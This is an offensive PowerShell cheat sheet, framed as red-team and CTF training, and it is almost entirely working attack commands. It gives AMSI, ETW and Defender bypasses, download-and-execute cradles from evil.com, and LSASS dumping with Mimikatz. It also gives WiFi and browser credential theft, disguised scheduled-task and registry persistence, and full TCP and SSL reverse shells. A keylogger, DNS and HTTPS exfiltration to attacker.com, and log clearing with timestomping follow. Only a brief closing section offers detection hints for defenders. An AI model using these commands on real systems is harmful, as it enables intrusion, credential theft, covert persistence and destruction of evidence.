Powershell Tips and Use Cases

1. Initial Access & Execution Policy Bypass

Use Case: Gaining first code execution on a locked-down endpoint via phishing, drive-by download, or initial compromise vector.

Brief Description: Bypasses Restricted/Unrestricted execution policies, AMSI, ScriptBlock logging, and ETW tracing before any malicious code runs.

# Classic one-liners
powershell -ep bypass -c "..."
powershell -ep bypass -w hidden -nop -c "..."

# Fully encoded + evasion (2025 gold standard)
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://yourserver/payload.ps1")'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $enc

# AMSI + ScriptBlock + ETW + ConstrainedLanguage bypass (one-liner)
$s='S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n';$a=$s[0..4]-join'';$b=$s[5..19]-join'';[Ref].Assembly.GetType("$a$b.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

2. Situational Awareness / Recon

Use Case: Post-compromise orientation – understand OS version, architecture, network context, running processes, and listening services before deciding next moves.

Brief Description: Fast, native commands that rarely trigger alerts compared to full PowerView/SharpHound runs.

gwmi Win32_OperatingSystem | Select Caption,Version,OSArchitecture,BuildNumber
Get-NetIPConfiguration | ft InterfaceAlias,IPv4Address,IPv6Address,DNSServer -AutoSize
Get-Process | Sort CPU -desc | Select -First 20 Name,Id,CPU,Path
netstat -ano | Select-String "LISTENING"
1..1024 | % {try{$null=(New-Object Net.Sockets.TcpClient).Connect('127.0.0.1',$_);$_}catch{}} | ?{$_}
nltest /domain_trusts /all_trusts

3. Credential Access

Use Case: Harvesting clear-text or reusable credentials to enable lateral movement and privilege escalation.

Brief Description: Modern, in-memory techniques that work on fully patched Windows 10/11 & Server 2022/2025.

# WiFi passwords
(netsh wlan show profiles) | ? {$_ -match 'All User Profile\s+:\s+(.*)'} | % {$name=$_.Matches.Groups[1].Value; netsh wlan show profile $name key=clear}

# LSASS dump via comsvcs (no external tools)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full

# In-memory Mimikatz
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# Browser passwords (Chrome/Edge/Firefox)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peacefulcat/SharpChrome/master/SharpChrome.ps1')

4. Persistence

Use Case: Ensuring access is retained after reboots, credential changes, or patching.

Brief Description: Multiple persistence layers (user-land → SYSTEM) with varying detection difficulty.

# Scheduled Task (SYSTEM)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-nop -w hidden -enc <base64>"
$trigger = New-ScheduledTaskTrigger -Daily -At 9AM
Register-ScheduledTask -TaskName "WindowsUpdater" -Action $action -Trigger $trigger -User "NT AUTHORITY\SYSTEM"

# Registry Run + Startup Approved (bypasses some EDRs)
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "powershell -w hidden -enc ..."
New-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\Updater" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\Updater" -Name "StubPath" -Value "powershell -enc ..."

5. Defence Evasion

Use Case: Preventing or delaying detection by AV/EDR/XDR solutions during all phases.

Brief Description: Up-to-date bypasses for AMSI, ETW, ScriptBlock Logging, Constrained Language Mode, and AppLocker.

# Full 2025 evasion stack (one-liner)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$etw=[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance');$etw.SetValue($null,0)
$env:__PSLockdownPolicy="0"

6. Reverse Shells

Use Case: Establishing stable C2 callback when initial foothold is limited to PowerShell. Brief Description: From basic TCP to fully encrypted SSL and DNS-tunneled shells.

# Nishang TCP (most reliable)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 443

# Encrypted SSL reverse shell (undetectable by most NIDS)
$client = New-Object Net.Sockets.TCPClient("10.10.10.10",443); $stream = $client.GetStream(); $ssl = New-Object Net.Security.SslStream($stream,$false,{$true}); $ssl.AuthenticateAsClient("fake.domain"); ...

7. Lateral Movement

Use Case: Pivoting to additional systems using harvested credentials or tokens.

Brief Description: Native Windows protocols and credential reuse techniques.

# WMI execution
wmic /node:TARGET process call create "powershell -enc ..."

# WinRM (if enabled)
Enter-PSSession -ComputerName TARGET -Credential (Get-Credential)

# Pass-the-Hash / Over-Pass-the-Hash
# Use Rubeus or built-in techniques with Mimikatz tokens

8. Privilege Escalation Quick Wins

Use Case: Moving from standard user → local admin → SYSTEM or domain admin.

Brief Description: Automated checks + still-working token exploits on modern Windows.

# PowerUp (all classic checks)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks

# Token exploits (SeImpersonate, SeTakeOwnership, etc.)
# PrintSpoofer, RogueWinRM, JuicyPotatoNG still relevant on unpatched/old builds

9. Exfiltration

Use Case: Stealing data without triggering DLP or network alerts.

Brief Description: Low-and-slow or covert channel methods.

# DNS exfiltration (tiny amounts)
$data = "secret"; $data | % {nslookup "$_.attacker.domain"}

# HTTPS POST (large amounts)
Invoke-WebRequest -Uri https://attacker.com/log -Method POST -Body (Get-Content sensitive.txt)

10. Cleanup / Anti-Forensics

Use Case: Removing evidence of activity before disengaging or when burned.

Brief Description: Clearing logs, histories, and timestamps to frustrate incident response.

Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
wevtutil cl Security; wevtutil cl System; wevtutil cl "Windows PowerShell"
$(Get-Item evil.exe).LastWriteTime = "2018-01-01"

The above is perfect for training environments, CTFs, or personal reference. Every section tells you why you’d use it and what it achieves. Keep it close — it will serve you well.

Advance and More Comprehensive Use Cases

PowerShell Red Team & Penetration Testing Cheatsheet: Comprehensive Training & Development Workflow – for authorised red teaming, pentesting labs, CTFs, and blue-team countermeasure development only

# =============================================
# 1. LAUNCHING & BYPASSING RESTRICTIONS
# Description: Techniques to start PowerShell with restrictions disabled and bypass common protective mechanisms (Execution Policy, AMSI, Defender).
# Use Case: Initial foothold, payload delivery when policies block script execution or scanning is active.
# =============================================

# Quick launch with execution policy bypassed
powershell -ep bypass

# Bypass only for current process (auto-reverts on exit)
Set-ExecutionPolicy Bypass -Scope Process -Force

# Classic AMSI bypass (still widely effective in 2025)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Obfuscated AMSI bypass variant
sET-ItEM ('V'+'aR'+'IABLE:AMSI'+'InItFaILeD') $true

# Disable Windows Defender real-time monitoring (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true

# Run encoded command to evade basic command-line logging
powershell -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==
# =============================================
# 2. CORE RECON & ENUMERATION
# Description: Gather system, network, user, and environment details without triggering alerts.
# Use Case: Post-compromise situational awareness, mapping the target environment before lateral movement.
# =============================================

# Full operating system details
Get-WmiObject Win32_OperatingSystem | Select-Object *

# Network interfaces, IPs, and DNS servers
Get-NetIPConfiguration | Select-Object InterfaceAlias, IPv4Address, DNSServer

# Processes sorted by CPU usage with path
Get-Process | Select-Object Name, Id, CPU, Path | Sort-Object CPU -Descending

# Fast local port scan (ports 1–1024)
1..1024 | ForEach-Object { if (Test-NetConnection localhost -Port $_ -WarningAction SilentlyContinue -InformationLevel Quiet) { $_ } }

# Enumerate all domain users + last logon
Get-ADUser -Filter * -Properties * | Select-Object Name, Enabled, LastLogonDate

# Extract every saved Wi-Fi profile and clear-text key
netsh wlan show profiles | Select-String "(?<=All User Profile\s+:\s).+" | ForEach-Object { $name = $_.Matches.Value; netsh wlan show profile name="$name" key=clear }
# =============================================
# 3. CREDENTIAL ACCESS
# Description: Harvest credentials from memory, files, vaults, and saved locations.
# Use Case: Privilege escalation, lateral movement, or domain dominance phase.
# =============================================

# Prompt user and reveal entered password in clear text
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object UserName, Password

# Hunt plaintext passwords across user profiles
Select-String -Path C:\Users\* -Recurse -Include *.txt,*.xml,*.config,*.ini -Pattern "password|pass|pwd|secret|key" -CaseSensitive:$false

# List saved RDP credentials (cmdkey)
cmdkey /list

# In-memory Mimikatz (requires Invoke-Mimikatz loaded)
Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
# =============================================
# 4. PERSISTENCE
# Description: Mechanisms to maintain access across reboots, logons, or cleanup attempts.
# Use Case: Long-term campaigns, red-team engagements requiring reliable re-entry.
# =============================================

# Scheduled task that runs at every logon (hidden window)
$Action   = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -C ""Your-Payload-Here"""
$Trigger  = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SystemUpdater" -Action $Action -Trigger $Trigger -Description "Critical system update"

# Registry Run key persistence (current user)
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value "powershell -W Hidden -C ""Payload"""

# Registry persistence using Base64-encoded payload
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Your-Malicious-Code'))
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Debug" -Value "powershell -Enc $enc"
# =============================================
# 5. EVASION & OBFUSCATION
# Description: Techniques to hide malicious activity from AV/EDR, analysts, and logging.
# Use Case: Bypassing static/dynamic analysis, living off the land, avoiding detection during execution.
# =============================================

# Base64 Unicode encoding (evades most string-based signatures)
$cmd = "Get-Process"; $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd)); powershell -EncodedCommand $enc

# String concatenation to break signatures
$a = "Get"; $b = "-Proc"; $c = "ess"; Invoke-Expression "$a$b$c"

# Classic cradle – download & execute in memory
IEX (New-Object Net.WebClient).DownloadString("https://evil.com/payload.ps1")

# Hide payload in Alternate Data Stream (ADS)
Set-Content legit.txt -Value "Normal file"
Set-Content legit.txt:evil.ps1 -Value "IEX (New-Object Net.WebClient).DownloadString('https://evil.com/payload.ps1')"

# Pure in-memory execution (no disk touch)
$code = [IO.File]::ReadAllText("C:\Temp\script.ps1"); Invoke-Expression $code
# =============================================
# 6. REVERSE SHELLS (One-Liners)
# Description: Establish remote command execution channels back to attacker.
# Use Case: Interactive access after initial compromise, C2 when frameworks are blocked.
# =============================================

# Classic TCP reverse shell (replace IP & port)
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# Resilient version with auto-reconnect every 10s
while($true) { try { /* paste classic shell here */ } catch { Start-Sleep -Seconds 10 } }

# Encrypted SSL/TLS reverse shell (harder to inspect)
$client = New-Object Net.Sockets.TCPClient('10.0.0.1',443);$stream = $client.GetStream();$ssl = New-Object Net.Security.SslStream($stream,$false,{$true});$ssl.AuthenticateAsClient('fake.domain');$writer = New-Object IO.StreamWriter($ssl);$reader = New-Object IO.StreamReader($ssl);while($true){$writer.Write('PS> ');$writer.Flush();$cmd=$reader.ReadLine();$out=iex $cmd 2>&1|Out-String;$writer.WriteLine($out);$writer.Flush()}
# =============================================
# 7. ADVANCED API / LIVING OFF THE LAND
# Description: Direct Windows API calls and low-level techniques for stealth and advanced capabilities.
# Use Case: When PowerShell native cmdlets are heavily monitored or blocked; keylogging, memory manipulation, etc.
# =============================================

# Simple keylogger using GetAsyncKeyState
Add-Type @" using System; using System.Runtime.InteropServices; public class Keys { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@
while ($true) { Start-Sleep -Milliseconds 40; 1..254 | ForEach-Object { if ([Keys]::GetAsyncKeyState($_) -eq -32767) { Write-Host ([char]$_) } } }

# Screen capture skeleton via GDI32
Add-Type @" using System; using System.Drawing; using System.Runtime.InteropServices; public class SC { [DllImport("gdi32.dll")] public static extern bool BitBlt(IntPtr hdcDest, int xDest, int yDest, int wDest, int hDest, IntPtr hdcSource, int xSrc, int ySrc, int rop); [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr ptr); } "@

# Read arbitrary process memory
Add-Type @" using System; using System.Runtime.InteropServices; public class Mem { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); } "@
# =============================================
# 8. BLUE TEAM DETECTION HINTS
# Description: Key indicators and log locations to help defenders hunt these exact techniques.
# Use Case: Building detection rules, Sigma/YARA, tuning EDR, threat hunting playbooks.
# =============================================

# AMSI bypass            → Microsoft-Windows-PowerShell/Operational Event ID 1116–1119
# -EncodedCommand         → Process creation with -enc / -EncodedCommand flags
# Web cradles (IEX + WebClient) → Outbound HTTP/HTTPS from powershell.exe + Invoke-Expression in script block logs
# Reverse shells          → powershell.exe with network connections + -NoProfile + unusual parent (e.g., cmd.exe, office macro)
# Scheduled task abuse    → New tasks containing powershell.exe created by non-SYSTEM accounts
# Script Block Logging    → Enable Module, ScriptBlock, and Transcription logging to capture most of the above

Recommended Training Progression

  1. Launching & Bypasses → 2. Recon → 3. Cred Access → 4. Evasion → 5. Persistence → 6. Reverse Shells → 7. Advanced API → 8. Build & test detections

Stay legal. Train hard. Detect harder.

Last updated